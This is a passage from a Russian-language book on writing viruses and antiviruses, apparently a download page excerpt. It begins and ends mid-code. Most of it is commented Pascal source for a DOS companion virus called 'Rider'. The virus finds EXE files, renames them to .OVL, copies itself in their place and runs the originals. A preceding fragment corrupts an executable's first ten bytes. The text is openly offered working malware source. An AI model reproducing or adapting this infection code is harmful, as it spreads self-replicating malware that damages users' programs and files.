Игорь Гульев

Создаем вирус и антивирус


Скачать книгу

Buf10, 10);

      For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

      Seek(Prog, 0);

      BlockWrite(Prog, Buf10, 10);

      Close(Prog);

      end;

      При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.

      { Name Rider }

      { Version 1.0 }

      { Stealth No }

      { Tsr No }

      { Danger 0 }

      { Attac speed Slow }

      { Effects No }

      { Length 4000 }

      { Language Pascal }

      { BodyStatus Packed }

      { Packer Pklite }

      {$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,

      High Heap Limit 0b }

      {Используются модули Dos и System (модуль System автоматически

      подключается к каждой программе при компиляции)}

      Uses Dos;

      Const

      Fail=’Cannot execute ’#13#10’Disk is write−protected’;

      {Расширения файлов, которые будем использовать}

      Ovr=’.OWL’;

      Ovl=’.OVL’;

      Exe=’.EXE’;

      Var

      DirInfo : SearchRec;

      Sr : SearchRec;

      Ch : Char;

      I : Byte;

      OurName : PathStr;

      OurProg : PathStr;

      Ren : File;

      CmdLine : ComStr;

      Victim : PathStr;

      VictimName : PathStr;

      {Процедура для проверки диска на Read Only}

      procedure CheckRO;

      begin

      Assign(Ren, #$FF);

      ReWrite(Ren);

      Erase(Ren);

      If IOResult <> 0 Then

      {Если диск защищен от записи, то ответ ’Access denied’}

      begin

      WriteLn(Fail);

      Halt(5);

      end;

      end;

      {Процедура прогонки оригинала}

      procedure ExecReal;

      begin

      {Находим оригинал}

      FindFirst(OurName+Ovl, AnyFile, DirInfo);

      If DosError <> 0 Then

      {Если не нашли}

      begin

      WriteLn(’Virus RIDER. Let’s go on riding!’);

      WriteLn(’I beg your pardon, your infected file cannot be executed.’);

      {Выход с DosError=Файл не найден}

      Halt(18);

      end;

      {Переименовываем программу в OVL}

      Assign(Ren, OurName+Exe);

      ReName(Ren, OurName+Ovr);

      {Переименовываем оверлей в EXE}

      Assign(Ren, OurName+Ovl);

      ReName(Ren, OurName+Exe);

      {И запускаем его}

      SwapVectors;

      Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);

      SwapVectors;

      {А теперь возвращаем все на место}

      Assign(Ren, OurName+Exe);

      ReName(Ren, OurName+Ovl);

      Assign(Ren, OurName+Ovr);

      ReName(Ren, OurName+Exe);

      end;

      {Процедура заражения}

      procedure Infect;

      begin

      {Переименовываем жертву в OVL}

      Assign(Ren, Victim);

      ReName(Ren, VictimName+Ovl);

      {Копируем тело вируса на место жертвы}

      SwapVectors;

      Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);

      SwapVectors;

      end;

      {Процедура поиска жертвы}

      procedure FindFile;

      begin

      {В текущем каталоге ищем EXE−файл}

      FindFirst(’*.EXE’, AnyFile, DirInfo);

      If DosError=0 Then

      {И если он найден}

      begin

      {Запоминаем имя жертвы}

      Victim:=DirInfo.Name;

      {Запоминаем имя без расширения}

      VictimName:=Copy(Victim, 1, Length(Victim)–4);

      {Ищем оверлей с тем же именем}

      FindFirst(VictimName+Ovl, AnyFile, Sr);

      If DosError <> 0 Then Infect;

      end;

      end;

      {Процедура инициализации